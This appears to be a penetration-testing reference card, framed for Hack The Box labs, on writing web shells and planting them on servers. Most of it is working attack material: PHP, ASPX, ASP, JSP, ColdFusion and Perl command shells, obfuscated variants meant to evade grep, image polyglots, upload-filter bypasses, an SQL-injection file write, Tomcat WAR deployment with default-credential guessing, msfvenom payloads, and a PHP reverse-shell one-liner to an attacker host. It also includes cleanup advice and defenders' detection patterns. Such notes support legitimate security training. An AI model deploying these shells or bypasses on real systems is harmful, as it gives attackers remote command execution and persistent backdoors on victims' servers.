FLOW ^: Pentest Workflow

Web Shells — Creating & Deploying

Updated CPTS field reference for web shells — creating & deploying.

intermediate updated 2026-08-29 rp-shell family (aspx/php/asp/jsp) · Laudanum · Antak (Nishang) · weevely

← Workflow dashboard · ← Previous: Windows PrivEsc · Next: TTY Upgrades →

Web Shells — Creating & Deploying fas:ClipboardList

[!dashboard] Module context Module: 8 · Shells and Payloads · Deep dive: Landing a Web Shell · Foothold toolkit: 05 - Foothold Toolkit - Shells Payloads and Metasploit Related: 6 - Crafting Payloads with MSFvenom · 3 - Reverse Shells · Command Injection - Filter Bypass Cheat Sheet · TTY Upgrades

Summary ris:Eye

A web shell is a script written in the server’s own web language (PHP / ASP(X) / JSP / CFM / Perl / Python) that, once it lands in a web-served directory, hands you OS command execution through the browser. Two halves to the job: create the right shell for the stack, and deploy it — via an unrestricted upload, a filter you had to bypass, an LFI/SQLi write primitive, or a management interface. This card is a single-source reference for every flavour of web shell and every common way to get one onto disk and executing.

[!danger]+ HTB-Only Boundary fas:TriangleExclamation

  1. Every payload here is for Hack The Box, HTB Academy, deliberately vulnerable labs, or systems you own and are explicitly authorised to test. A dropped .php/.aspx on a real host is unauthorised access + a persistent backdoor.
  2. A web shell on disk is a forensic artifact and often survives your session — clean it up (see Operational safety, detection & cleanup).
  3. Never upload a real payload to public VirusTotal — it burns the hash to every AV vendor.
  4. Treat the web shell as a stepping stone to a proper reverse shell, never the end state — it’s fragile, semi-interactive, and noisy.

★ The rp-shell family — working shells, Rosé Pine UI ris:Star

Four single-file shells, one per stack, all sharing the same Rosé Pine interface and feature set. These are the default choice — they fix the sharp edges that make minimal shells annoying: persistent cd, stderr capture, file upload/download, one-click enum chips, command history.

FileStackInterpreterUse when
nt-webshell-rosepine.aspx (SHA-256 · GPG signature)IIS + ASP.NETC# / cmd.exe /cModern IIS (Server 2016+), DNN, SharePoint
rp-shell.php (SHA-256 · GPG signature)Apache/Nginx + PHPshell_exec w/ fallbacksLAMP/LEMP, WordPress, most Linux web
rp-shell.asp (SHA-256 · GPG signature)IIS + Classic ASPVBScript / WScript.ShellLegacy IIS only — needs the Classic ASP feature
rp-shell.jsp (SHA-256 · GPG signature)Tomcat / JBoss / any JSPJava ProcessBuilder, OS auto-detectJava containers, inside a .war

Shared features

  • Banner identityHOSTNAME :: whoami on load, so you always know your context before typing anything
  • Persistent cd — working directory survives between requests (hidden field on ASPX/PHP/ASP, HTTP session on JSP); cls clears output
  • stdout + stderr both captured — a blank response no longer hides the error
  • Enum chips — one-click whoami /all, whoami /priv, ipconfig, sudo -l, id, SUID hunt, interpreter check (OS-appropriate per shell)
  • File upload (ASPX/PHP) — drops into the current working directory, perfect for nc.exe / PrintSpoofer64.exe / chisel staging
  • File download?get=C:\path\file or /etc/passwd, streams as an attachment
  • Command history — up/down arrows cycle previous commands (client-side)
  • ValidateRequest="false" (ASPX) — commands with <, >, quotes don’t trip ASP.NET request validation

[!warning]+ The extension–language mismatch trap (learned the hard way) Classic ASP (VBScript) code in a .aspx file = instant “Server Error in ’/’ Application” runtime error page. ASP.NET cannot parse Server.CreateObject / Function...end Function VBScript. The generic red error page appears because customErrors isn’t Off in web.config — it hides the real parse exception.

  • VBScript code → save as .asp (requires the Classic ASP IIS feature)
  • C# <script runat="server"> code → save as .aspx
  • When in doubt, probe first: <%@ Page Language="C#" %><%= 7 * 7 %> renders 49 only if ASP.NET executes
  • This exact bug previously cost a full debugging session on the AEN DNN host — the old version of this card had a VBScript block unlabelled inside the ASPX section

[!example]+ Deploying rp-shell on the AEN DNN host (worked example)

  1. DNN admin → Settings → Security → More → More Security Settings → add aspx to Allowable File Extensions
  2. Content → Assets / File Management → upload nt-webshell-rosepine.aspx to the site root (lands in C:\DotNetNuke\Portals\0)
  3. Browse http://172.16.8.20/Portals/0/nt-webshell-rosepine.aspx — banner confirms identity
  4. Click the whoami /priv chip → look for SeImpersonatePrivilege: Enabled → PrintSpoofer path (see 6 - Post-Exploitation Persistence & Internal Enumeration)
  5. Use the upload form to stage nc.exe + PrintSpoofer64.exe into the cwd; use ?get= to pull the SAM.SAVE/SECURITY.SAVE/SYSTEM.SAVE hives
  6. Cleanup: delete the shell, the staged tools, and revert the extensions list

Field workflow — identify, validate, operate, remove fas:Route

PhaseActionEvidence to retain
1 · FingerprintConfirm server, framework, handler and accepted extensionsHeaders, response body, version source
2 · ProbeUse harmless arithmetic or a static marker before OS commandsRequest/response pair and returned marker
3 · PlaceRecord the client filename, server filename and resolved URLUpload response, path, timestamp, SHA-256
4 · ValidateRun identity, working-directory and OS checksService identity, cwd, architecture, PATH
5 · OperatePrefer the smallest command needed to prove impactCommands, UTC timestamps and outputs
6 · UpgradeMove to a reverse shell/TTY only when the task requires interactionListener details and new process context
7 · RemoveDelete the shell and every companion artifactRemoval command and negative verification
# Reusable lab context
export BASE_URL="http://target.htb"
export SHELL_URL="$BASE_URL/uploads/audit.php"
export LHOST="10.10.14.2"
export LPORT="4444"

[!tip]+ Start with a marker A static file or 7*7 interpreter probe separates “upload succeeded” from “the server executed my code.” Do not jump straight to a reverse shell when a harmless marker proves the handler and path.


Pick the right shell for the stack ris:FileList

Server / techTell (how you spot it)Shell formatrp-shell
Apache/Nginx + PHPX-Powered-By: PHP, .php URLs, phpinfo.php .phtml .php5 .pht .pharrp-shell.php
IIS + ASP.NETServer: Microsoft-IIS, aspnet_client/ dir, .aspx.aspxnt-webshell-rosepine.aspx
IIS + Classic ASPlegacy app, .asp URLs.asprp-shell.asp
Apache Tomcatport 8080, /manager, Coyote banner.jsp or deployable .warrp-shell.jsp
JBoss / WildFly/jmx-console, /web-console.warrp-shell.jsp in a war
Adobe ColdFusion.cfm, port 8500, CFIDE/.cfm(snippet below)
Apache + mod_perl/CGI/cgi-bin/, .pl/.cgi.pl .cgi(snippet below)
Python (Flask/Django/CGI)Werkzeug, gunicorn bannerdepends on frameworkos.system() inline

[!tip]+ Match the format to what the target will execute, not to the file you have fas:Lightbulb Uploading shell.php to an IIS/ASP.NET box gets you a downloadable text file, not execution. Confirm the stack first (banner, extensions, whatweb/nmap -sV), then pick the language. When unsure, drop a probe file (test.php containing <?php echo 7*7; ?>) and check whether it renders 49 or the source.

Web shell workflowTD
Fingerprint stack(banner / ext / whatweb)
Craft shell inserver's language
Delivery vector?
file upload
Upload(bypass filter if any)
LFI / log / SQLi
Write to webrootor poison + include
mgmt iface
Tomcat/JBoss WAR,WebDAV PUT, CMS editor
Browse to path
Run cmds → upgradeto reverse shell (revx/wshx)

0 · Validate execution context fas:MagnifyingGlass

A successful request is only the beginning. Establish the process identity and constraints before choosing a payload or writing more files. (With an rp-shell, the banner + chips do this for you — this section is for bare one-liner shells.)

Linux-hosted application

id
pwd
uname -a
printf 'PATH=%s\n' "$PATH"
command -v bash sh python3 python perl php curl wget nc socat
env | sort

Windows-hosted application — CMD

whoami /all
cd
ver
set
where cmd.exe
where powershell.exe
where pwsh.exe

Windows-hosted application — PowerShell

$ExecutionContext.SessionState.LanguageMode
[Environment]::Is64BitProcess
Get-Location
Get-ChildItem Env: | Sort-Object Name
Get-Command cmd.exe, powershell.exe, pwsh.exe -ErrorAction SilentlyContinue

[!note]+ Interpret the result Web commands run as the application-pool or service identity, inherit its environment, and usually start as a fresh process for every HTTP request. A successful cd does not normally persist to the next request in a bare shell — the rp-shell family fakes persistence with a hidden field/session; bare shells need absolute paths or cd /path && command chaining. Upgrade when you need job control or interactive prompts.

Exercise GET and POST safely

# GET parameter — URL-encode the complete command
curl -fsS -G "$SHELL_URL" --data-urlencode "cmd=id"

# POST parameter — useful when the shell expects form data
curl -fsS -X POST "$SHELL_URL" --data-urlencode "c=whoami"

# Preserve a response for the engagement record
curl -fsS -G "$SHELL_URL" --data-urlencode "cmd=pwd" -D headers.txt -o response.txt

[!tip]+ Let curl perform the encoding Use --data-urlencode for spaces, &, pipes, redirects and other shell metacharacters. Hand-building ?cmd=id && hostname changes the HTTP query at &; it does not reliably send the complete command as one parameter.


Map the request to the executing file fas:MapLocationDot

“Uploaded successfully” does not prove that the file is reachable or executable. Record each layer separately so a 404, source-code download or blank response has an obvious place to investigate.

LayerExampleQuestion to answer
Virtual hostapp.target.htbWhich Host header reaches the application?
Public URL/media/2026/08/audit.phpWhat URL did the application return or render?
Physical path/var/www/app/public/media/...Where did the server actually store the file?
HandlerPHP-FPM, ASP.NET, JSP/Tomcat, ColdFusionWill this extension be interpreted or served as data?
Process identitywww-data, apache, IIS APPPOOL\SiteWhich permissions and environment apply?
Request stateCookie, CSRF token, multipart field nameWhat must be replayed to reach or trigger it?

Prove the handler before proving command execution

Use a unique static marker first. If interpreter execution is required, use harmless arithmetic and remove the probe after validation.

<?php echo 7 * 7; ?>
<%@ Page Language="C#" %><%= 7 * 7 %>
<%= 7 * 7 %>
<cfoutput>#7 * 7#</cfoutput>

Rendered 49 proves the handler ran. Seeing source code proves it did not. A 404 says nothing about the handler until the URL/vhost and server-side name are confirmed.

Preserve the exact authenticated request

Start from Burp’s Copy as curl output when the upload uses authentication or CSRF protection. Keep the vhost, cookies, token, multipart field name and filename; simplify only after a successful replay.

export TARGET_IP='10.10.10.10'
export TARGET_HOST='app.target.htb'

# Maintain the application session and force the intended vhost to the target IP.
curl -ksS -c webshell.cookies -b webshell.cookies \
  --resolve "$TARGET_HOST:443:$TARGET_IP" \
  "https://$TARGET_HOST/upload"

# Representative multipart replay—use the real field and CSRF names from the app.
curl -ksS -c webshell.cookies -b webshell.cookies \
  --resolve "$TARGET_HOST:443:$TARGET_IP" \
  -H 'X-CSRF-Token: REPLACE_FROM_SESSION' \
  -F 'file=@probe.php;type=image/gif' \
  -D upload.headers -o upload.body \
  "https://$TARGET_HOST/upload"

Inspect the status, redirects and response body for a generated filename, UUID, JSON path or rendered media URL:

sed -n '1,40p' upload.headers
sed -n '1,160p' upload.body
rg -io '(/[^" ]+\.(php|aspx|jsp|cfm))|([0-9a-f]{8}-[0-9a-f-]{27,})' upload.body

Resolve the physical webroot from execution context

Linux-hosted web service:

pwd
printf 'DOCUMENT_ROOT=%s\n' "${DOCUMENT_ROOT:-unset}"
printf 'SCRIPT_FILENAME=%s\n' "${SCRIPT_FILENAME:-unset}"
ps -o user,pid,ppid,comm,args -p $$ -p $PPID

apachectl -S 2>/dev/null
nginx -T 2>&1 | sed -n '1,200p'

Windows IIS — CMD:

cd
echo %APPL_PHYSICAL_PATH%
%windir%\system32\inetsrv\appcmd.exe list site
%windir%\system32\inetsrv\appcmd.exe list vdir /text:physicalPath

Windows IIS — PowerShell:

Get-Location
$env:APPL_PHYSICAL_PATH

Import-Module WebAdministration
Get-Website | Select-Object Name, State, PhysicalPath, Bindings
Get-WebVirtualDirectory | Select-Object Site, Path, PhysicalPath

These commands depend on the service account’s read permissions and installed administration tools. Treat an empty variable or access error as “not available from this context,” not as proof that no webroot exists.

Know which shell parses the command

Runtime callShell metacharacters such as &&, |, >?Reliable form
PHP system() / ASPX cmd.exe /cYesSend the complete command with URL encoding
Java Runtime.exec(String)No implicit shellExplicitly call /bin/sh -c or cmd.exe /c
PowerShell invocationPowerShell syntaxDo not paste CMD-only quoting unchanged

Capture stderr when a command appears blank:

curl -fsS -G "$SHELL_URL" --data-urlencode 'cmd=id 2>&1'
curl -fsS -G "$SHELL_URL" --data-urlencode 'cmd=pwd; printf "exit=%s\n" "$?"'

A · PHP web shells fas:Terminal

[!success]+ Default: rp-shell.php Full Rosé Pine UI, exec-function fallbacks, persistent cd, upload/download, Linux enum chips. File: rp-shell.php (SHA-256 · GPG signature) Use the minimal shells below only when you need something tiny/stealthy or must hand-craft around a filter.

Minimal one-liners

<?php system($_GET['cmd']); ?>                 // classic GET
<?php echo shell_exec($_GET['cmd']); ?>        // shell_exec returns full output as string
<?php passthru($_REQUEST['cmd']); ?>           // $_REQUEST = GET or POST or cookie
<?php if(isset($_POST['c'])) system($_POST['c']); ?>   // POST-only (stays out of access logs' query string)

[!info]+ Which exec function? system() prints output + returns last line · shell_exec()/backticks return the whole output as a string (needs echo) · passthru() streams raw bytes (good for binary) · exec() returns only the last line unless you pass $output. If one is disabled via disable_functions, try the others: proc_open, popen, pcntl_exec. Check with a probe: <?php var_dump(ini_get('disable_functions')); ?>. rp-shell.php does this fallback chain automatically and shows the disabled list in its banner.

Compact keyed examples (lab-only)

<?php @eval($_POST['pass']); ?>                          // China Chopper server side (client sends PHP)
<?php @system($_REQUEST['0xdeadbeef']); ?>               // non-default parameter name
<?php @eval(base64_decode($_POST['x'])); ?>              // base64-wrapped payload in body
<?php $f='sys'.'tem'; @$f($_GET['c']); ?>                // split string dodges naive grep for "system("

[!tip]+ Blend with an image to survive .jpg uploads + LFI

exiftool -Comment='<?php system($_GET["cmd"]); ?>' cat.jpg   # payload rides in EXIF
mv cat.jpg cat.php.jpg        # or serve as .php via .htaccess / include via LFI

The file is a valid image (passes magic-byte checks) but contains live PHP once interpreted.

Prebuilt PHP shells

# Laudanum — pre-installed on Kali/Parrot, edit allowedIps first
cp /usr/share/laudanum/php/php-reverse-shell.php ./shell.php   # reverse
cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php  # pentestmonkey classic (edit $ip/$port)

# WhiteWinterWolf wwwolf — robust cmd shell, works when system() is filtered
# https://github.com/WhiteWinterWolf/wwwolf-php-webshell

# p0wny-shell — single-file, pretty prompt UI  (https://github.com/flozz/p0wny-shell)
# b374k / c99 / r57 — full-featured but HEAVILY signatured; lab-only, expect AV hits

weevely — stealth, obfuscated, encrypted PHP agent + client

weevely generate <password> agent.php          # generates an obfuscated agent
# upload agent.php, then connect:
weevely http://$IP/uploads/agent.php <password>
# gives a real terminal, modules for file ops, privesc enum, pivot, SQL, etc.

msfvenom PHP payloads

msfvenom -p php/reverse_php LHOST=$LHOST LPORT=443 -f raw -o shell.php
# msfvenom often omits the opening tag — prepend it if the app doesn't wrap:
(echo '<?php ' ; cat shell.php) > s.php && mv s.php shell.php
# meterpreter over PHP (richer post-ex):
msfvenom -p php/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f raw -o met.php   # catch with multi/handler

B · ASP / ASPX web shells (IIS) fas:Terminal

[!success]+ Default: nt-webshell-rosepine.aspx (ASP.NET) or rp-shell.asp (Classic ASP)

  • ASP.NET available (almost always): nt-webshell-rosepine.aspx (SHA-256 · GPG signature) — full UI, persistent cd, upload/download, Windows enum chips, ValidateRequest="false".
  • Classic ASP only (legacy): rp-shell.asp (SHA-256 · GPG signature) — same UI in VBScript; no upload form (use certutil/PowerShell to fetch files instead). Check which you have before uploading: the 7*7 probe from §Map the request. The two languages are NOT interchangeable — see the mismatch trap callout at the top of this card.

ASPX minimal GET shell (drop-in, C# — this is the ASP.NET one)

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
    ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + Request["cmd"]);
    psi.RedirectStandardOutput = true;
    psi.RedirectStandardError = true;
    psi.UseShellExecute = false;
    Process p = Process.Start(psi);
    string output = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
    p.WaitForExit();
    Response.Write("<pre>" + Server.HtmlEncode(output) + "</pre>");
}
</script>

Browse: http://$IP/shell.aspx?cmd=whoami

Classic ASP (older IIS, VBScript — extension must be .asp)

[!danger]+ Save VBScript as .asp, never .aspx The block below is classic ASP. In a .aspx file the ASP.NET parser rejects it and IIS returns the generic “Server Error in ’/’ Application” runtime page. (Yes, this card previously had this exact code sitting unlabelled under an ASPX heading — that’s what burned us on the DNN host. Fixed now.)

<% Set o = Server.CreateObject("WScript.Shell")
   Set e = o.Exec("cmd /c " & Request.QueryString("cmd"))
   Response.Write("<pre>" & e.StdOut.ReadAll() & "</pre>") %>

The full-featured VBScript variant with server info + form UI (the one from the Academy walkthrough) is rp-shell.asp, which adds persistent cd, stderr capture, and a download handler on top of the same WScript.Shell.Exec primitive.

Antak — PowerShell-driven ASPX web shell (Nishang)

cp /usr/share/nishang/Antak-WebShell/antak.aspx ./Upload.aspx
# edit line ~14: set $Username / $Password before uploading

Runs each command as a new process, can execute scripts in memory, and encodes traffic — the strongest option when the target is Windows + PowerShell. Browse to the file, authenticate, issue PowerShell.

Laudanum ASPX + msfvenom

cp /usr/share/laudanum/aspx/shell.aspx ./demo.aspx     # edit allowedIps (~line 59), strip ASCII art
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f aspx -o shell.aspx

[!info]+ IIS extension quirks worth knowing Handler mappings vary by IIS and ASP.NET version. Alternate extensions such as .ashx, .asmx or classic .asp execute only when the corresponding handler is enabled; trailing-dot/ADS behavior is legacy and configuration-dependent. Validate with a harmless marker. The aspnet_client directory is a useful ASP.NET clue, not proof that every extension executes.


C · JSP / WAR web shells (Tomcat / JBoss) fas:Terminal

[!success]+ Default: rp-shell.jsp rp-shell.jsp (SHA-256 · GPG signature) — OS auto-detection (Windows cmd.exe /c vs Linux /bin/sh -c), cd persisted in the JSP session, download handler, OS-appropriate chips. The explicit shell wrapper is what makes pipes/redirects/chaining work; bare Runtime.exec(String) does not invoke a command shell.

Raw JSP command shell (minimal)

<%@ page import="java.util.*,java.io.*" %>
<%
  String cmd = request.getParameter("cmd");
  if (cmd != null) {
    boolean windows = System.getProperty("os.name").toLowerCase().contains("win");
    String[] command = windows
      ? new String[] {"cmd.exe", "/c", cmd}
      : new String[] {"/bin/sh", "-c", cmd};
    Process p = new ProcessBuilder(command).redirectErrorStream(true).start();
    BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String l; out.println("<pre>");
    while ((l = r.readLine()) != null) out.println(l);
    out.println("</pre>");
  }
%>

Drop as cmd.jsp in a webroot → http://$IP:8080/cmd.jsp?cmd=id. Prebuilt copy: /usr/share/webshells/jsp/cmd.jsp.

Build a WAR by hand

mkdir webshell && cp rp-shell.jsp webshell/
cd webshell && jar -cvf ../webshell.war *     # -> deployed at /webshell/rp-shell.jsp

msfvenom WAR / JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o shell.war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f raw -o shell.jsp
unzip -l shell.war        # note the random-named .jsp inside — that's the trigger path

Deploy to Tomcat Manager (creds required)

# text API deploy
curl -u tomcat:s3cret -T shell.war "http://$IP:8080/manager/text/deploy?path=/shell"
curl "http://$IP:8080/shell/"                       # trigger reverse shell / browse cmd.jsp
# Metasploit alternative: exploit/multi/http/tomcat_mgr_upload  (set HttpUsername/HttpPassword)

[!tip]+ No creds? Spray the Tomcat defaults tomcat:tomcat, admin:admin, tomcat:s3cret, admin:<blank>, role1:role1. Manager lives at /manager/html (GUI) or /manager/text (API). JBoss equivalent: deploy the WAR via /jmx-consolejboss.system:service=MainDeployer.


D · Other stacks (brief) fas:Terminal

<!-- ColdFusion .cfm -->
<cfoutput><pre><cfexecute name="C:\Windows\System32\cmd.exe"
   arguments="/c #URL.cmd#" timeout="20" variable="out"></cfexecute>#out#</pre></cfoutput>
#!/usr/bin/perl
# Perl CGI — drop in /cgi-bin/, chmod +x
use CGI; my $q = CGI->new; print $q->header('text/plain'); print `$ENV{'QUERY_STRING'}`;

Python drop-in files are rare (frameworks don’t execute arbitrary .py from the webroot); when you have Python code injection instead, use os.system()/subprocess inline rather than a file. Prebuilt collections: PayloadsAllTheThings/Upload Insecure Files, tennc/webshell, and SecLists Web-Shells/.


E · Where the prebuilt shells live fas:BookOpen

SourcePath / URLLanguages
rp-shell family (this vault)nt-webshell-rosepine.aspx · rp-shell.php · rp-shell.asp · rp-shell.jspaspx, php, asp, jsp
Laudanum/usr/share/laudanum/asp, aspx, jsp, php, cfm, perl
Kali webshells/usr/share/webshells/{php,asp,aspx,jsp,perl,cfm}/all
Nishang / Antak/usr/share/nishang/Antak-WebShell/aspx (PowerShell)
weevelyweevely generatephp (stealth)
SecLists/usr/share/seclists/Web-Shells/all
PayloadsAllTheThingsgithub swisskyrepo/PayloadsAllTheThingsall + upload bypasses
tennc/webshellgithub tennc/webshellhuge archive

F · Deploying it — delivery vectors fas:Terminal

1. Unrestricted file upload (best case)

Upload via the app’s own upload feature (avatar, document, logo, import), then browse to the returned path. Find where it landed: common webroots below.

Linux : /var/www/html  /var/www  /srv/http (Arch)  /usr/share/nginx/html  /opt/<app>
Windows: C:\inetpub\wwwroot   DNN: C:\DotNetNuke\Portals\0   Tomcat: <install>/webapps/<app>/
Uploads often under: /uploads /images /files /media /avatars /tmp

2. Upload filter bypass matrix

[!info]+ Bypass by what the filter checks Work out what is being validated (extension? Content-Type header? magic bytes? real image content?) and defeat that one thing while keeping the file executable. See Command Injection - Filter Bypass Cheat Sheet for the injection-side companion.

FilterBypass
Blacklisted .php.php3 .php4 .php5 .php7 .pht .phtml .phar .inc · ASP: .asp .asa .cer .aspx · JSP: .jspx .jsw .jsv .war
Case-sensitive blacklistshell.pHp, shell.AsP, SHELL.PHP5
Extension check on last dotdouble ext shell.php.jpg / shell.jpg.php (depends which the server honours)
Trailing chars stripped by OSshell.php. · shell.php%20 · shell.php%00.jpg (null byte, PHP < 5.3.4) · shell.aspx::$DATA (IIS ADS)
Content-Type (MIME) checkintercept in Burp, change Content-Type: application/x-phpimage/gif (leave PHP body intact)
Magic-byte / “is it an image” checkprepend GIF89a; or JPEG magic \xFF\xD8\xFF to the file before the <?php
Real image requiredexiftool -Comment='<?php system($_GET[cmd]);?>' img.jpg → polyglot image + code
Server maps ext via configupload a .htaccess: AddType application/x-httpd-php .jpg then upload shell.jpg
Client-side JS validation onlystrip it — intercept the POST in Burp Repeater and send the raw multipart
# Burp: the two lines you flip on a MIME-only check
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/gif                 <-- was application/x-php
# .htaccess trick (Apache) — upload this, then any .shell file runs as PHP
AddType application/x-httpd-php .shell

3. LFI / log poisoning / wrappers → execution

When you can’t upload but can include a file (LFI), plant code where the app will read it: poison the User-Agent in the Apache access log then include /var/log/apache2/access.log, use php://input/data:///php://filter wrappers, or /proc/self/environ. Full technique set lives in the LFI/RFI notes — from here it’s the same PHP payloads above, just delivered through the include.

4. SQLi write primitive → INTO OUTFILE

' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/s.php'-- -

Needs FILE privilege, secure_file_priv unset, and a writable, known webroot path. Then browse s.php?cmd=id.

5. Management interfaces & protocols

# Tomcat / JBoss WAR — see section C
# WebDAV PUT (if PUT is allowed)
curl -X PUT http://$IP/shell.php --data-binary @shell.php
davtest -url http://$IP -uploadfile shell.php     # tests which extensions are executable
cadaver http://$IP/                                # interactive WebDAV
# anonymous FTP mapped to the webroot (module's chain): drop into /uploads, browse over HTTP
ftp $IP   # anonymous / <blank> → put shell.aspx → http://$IP/uploads/shell.aspx

6. CMS / app-specific

  • DotNetNuke (DNN) → Settings → Security → Allowable File Extensions (add aspx) → Content/Assets file manager upload → browse /Portals/0/<file>.aspx. Alternate RCE: SQL console → xp_cmdshell (see 6 - Post-Exploitation Persistence & Internal Enumeration).
  • WordPress → Appearance → Theme/Plugin Editor, edit 404.php to your PHP shell; or upload a malicious plugin zip. (wpscan, or msf wp_admin_shell_upload.)
  • rConfig → Devices → Vendors → Add Vendor “logo” field; upload .php and swap Content-Type to image/gif in Burp → /images/vendor/<file>.php.
  • Joomla / Drupal → template editor, or a media-manager upload + .htaccess.

G · Interact & upgrade fas:Terminal

# raw browser / curl
curl "http://$IP/uploads/shell.php?cmd=id"
curl -G "http://$IP/uploads/shell.php" --data-urlencode "cmd=cat /etc/passwd"
curl -X POST "http://$IP/shell.php" --data-urlencode "c=whoami"          # POST-based shell

# wshx — turns a dumb ?cmd= shell into a stateful prompt (session cwd, upload/download, auth, WAF bypass)
wshx -u "http://$IP/uploads/shell.php?cmd=CMD"                          # interactive
wshx -u "http://$IP/shell.php" -X POST --data 'c=CMD' --param c          # POST variant
wshx -u "...cmd=CMD" -b 'PHPSESSID=..' --start '<pre>' --end '</pre>'    # authed + trim wrapper
wshx -u "...cmd=CMD" --proxy http://127.0.0.1:8080 --double-encode       # through Burp, WAF bypass

# UPGRADE to a real reverse shell (do this early — web shells are fragile)
wshx -u "...cmd=CMD" --revshell $LHOST 443        # one-shot upgrade (pair with a listener)
revx $LHOST 443 -t bash --encode                  # or generate a payload to paste manually
# php one-liner a dropped .php pivots to:
php -r '$s=fsockopen("'"$LHOST"'",443);exec("/bin/sh -i <&3 >&3 2>&3");'

[!warning]+ Web shell interactivity is limited Chained commands (whoami && hostname), interactive prompts, cd persistence, and sudo password entry frequently don’t work through a bare web shell — each request is a fresh process. The rp-shell family fakes persistent cwd; wshx fakes it for bare shells; for anything real, upgrade to a reverse shell and stabilise (python3 -c 'import pty;pty.spawn("/bin/bash")'). See 3 - Reverse Shells.


H · Troubleshooting matrix fas:Wrench

SymptomLikely causeNext checks
“Server Error in ’/’ Application” runtime error page (IIS)Language/extension mismatch — VBScript classic-ASP code in a .aspx file (or vice versa)Match code to extension: VBScript→.asp, C#→.aspx; probe with <%= 7*7 %>; optionally set customErrors mode="Off" temporarily to see the real exception
File downloads or source is displayedWrong language/extension or no handler mappingRe-fingerprint the stack; use a harmless interpreter probe
404 Not Found after uploadServer renamed the file, different vhost, virtual path or storage outside webrootInspect upload response, redirects, HTML source and predictable media paths
403 ForbiddenExecute permission, request filtering, application authorization or web-server deny ruleCompare static-file access; inspect method, extension and authenticated session
Blank 200 responseFunction disabled, stderr lost, exception hidden or no command parameterUse a static marker; capture headers/body; test pwd/cd; check server error behavior
Command runs but output is truncatedTimeout, buffering or binary outputUse passthru, redirect stderr, write a small lab artifact, or switch to a reverse shell
Linux command works, callback does notListener/interface error, egress filtering, DNS failure or missing interpreterVerify $LHOST, route, listening socket and outbound TCP/DNS with a harmless connection test
Windows command works, PowerShell payload failsCLM, AMSI/application control, quoting, architecture or proxy/TLS issueCheck language mode, available binaries, system proxy and event/error output
cd/environment change disappearsEach request creates a new processUse an rp-shell (persistent cwd), absolute paths, cd /path && command, or a stateful client
WAR deploy says FAILContext already exists, wrong Manager role/path or malformed archiveQuery /manager/text/list; choose a unique context; inspect WAR contents

Fast request diagnostics

# Show status, redirects, cookies and server headers
curl -vkI "$SHELL_URL"

# Follow redirects while retaining a cookie jar
curl -ksS -L -c cookies.txt -b cookies.txt -G "$SHELL_URL" \
  --data-urlencode "cmd=id"

# Confirm the listener is bound to the expected interface/port
ss -lntp | grep ":${LPORT}"

Operational safety, detection & cleanup fas:Lightbulb

[!warning]+ Control the assessment artifact

  • Restrict access: Laudanum allowedIps = your source IP · Antak = built-in auth · custom = odd param name + a shared secret so no one else stumbles onto your shell. (rp-shell family: no auth built in — treat them as lab-only and delete immediately after use.)
  • Know the signature: public shells are widely detected. Prefer a minimal, reviewable lab payload and record its hash instead of deploying a feature-heavy shell.
  • Assume requests are logged: GET query strings are conspicuous, and WAFs/proxies may also retain POST bodies. Keep commands scoped and avoid placing credentials in either.
  • Clean up: record every file you drop and rm/del it at the end — a leftover shell is a live backdoor. The file on disk is a forensic artifact even when the payload is memory-resident meterpreter. On DNN also revert the Allowable File Extensions change.
  • Don’t submit to public VirusTotal — it leaks the hash/signature to vendors and burns the payload.

Artifact ledger

ItemRecord before useCleanup proof
Uploaded shellLocal/server filename, URL, SHA-256, owner/ACLURL returns expected 404/denial; file absent
WAR/plugin/archiveContext or install name, deployment response, extracted pathsUndeploy/uninstall response; context no longer listed
Server config (.htaccess, handler mapping, DNN extensions)Original content/hash and exact changeOriginal restored; handler probe no longer executes
Reverse-shell helperDestination path, listener port, process identityFile/process/socket absent
Test account or app settingOriginal role/value and UTC timeOriginal role/value restored
# Hash before upload and keep the value with the engagement evidence.
sha256sum rp-shell.php rp-shell.jsp rp-shell.asp nt-webshell-rosepine.aspx 2>/dev/null

# Tomcat Manager: list, then undeploy the exact assessment context.
curl -fsS -u "$TOMCAT_USER:$TOMCAT_PASS" "$BASE_URL/manager/text/list"
curl -fsS -u "$TOMCAT_USER:$TOMCAT_PASS" "$BASE_URL/manager/text/undeploy?path=/shell"

Blue-team tells (what defenders grep for, so you know what you’re leaving): new files with recent mtime in upload dirs; PHP files containing system|shell_exec|passthru|eval|base64_decode|assert; ASPX with Process.Start / ASP with WScript.Shell; short files in /uploads or Portals/0; unusual Content-Type on stored uploads; outbound connections from www-data/apache/IIS APPPOOL; access-log hits with cmd=/?c= query strings. Detection & prevention detail: 10 - Detection and Prevention.


Lessons Learned fas:Lightbulb

  1. Fingerprint before you craft. The single most common failure is uploading the wrong language for the stack — a .php on IIS just serves as text. Probe with 7*7.
  2. Extension and language are a matched pair. VBScript classic-ASP code in a .aspx file (or C# in .asp) fails with a generic runtime error page that hides the real parse exception. When the red IIS error page appears, check the mismatch first.
  3. Use the rp-shell family by default. Persistent cd, stderr capture, upload/download, and enum chips remove the papercuts of bare one-liners — reach for minimal shells only when stealth or a filter demands it.
  4. Filter bypasses are about what’s checked. Extension, MIME header, magic bytes, and real-content validation each have a distinct bypass; the Content-Type: image/gif swap defeats the most common (client-supplied MIME trust) one.
  5. Upgrade fast. A web shell is a stepping stone — fragile, semi-interactive, and noisy. Get a reverse shell (wshx --revshell / revx) and stabilise before doing real work.
  6. You are leaving files. Track and remove every dropped shell; restrict it to your IP or behind a secret while it’s live; revert app config changes (DNN extension lists, .htaccess).

References fas:BookOpen

  1. PayloadsAllTheThings — Upload Insecure Files
  2. Laudanum project
  3. Nishang · Antak Webshell
  4. weevely3
  5. WhiteWinterWolf PHP web shell
  6. tennc/webshell archive
  7. OWASP — Unrestricted File Upload
  8. PHP Manual — system
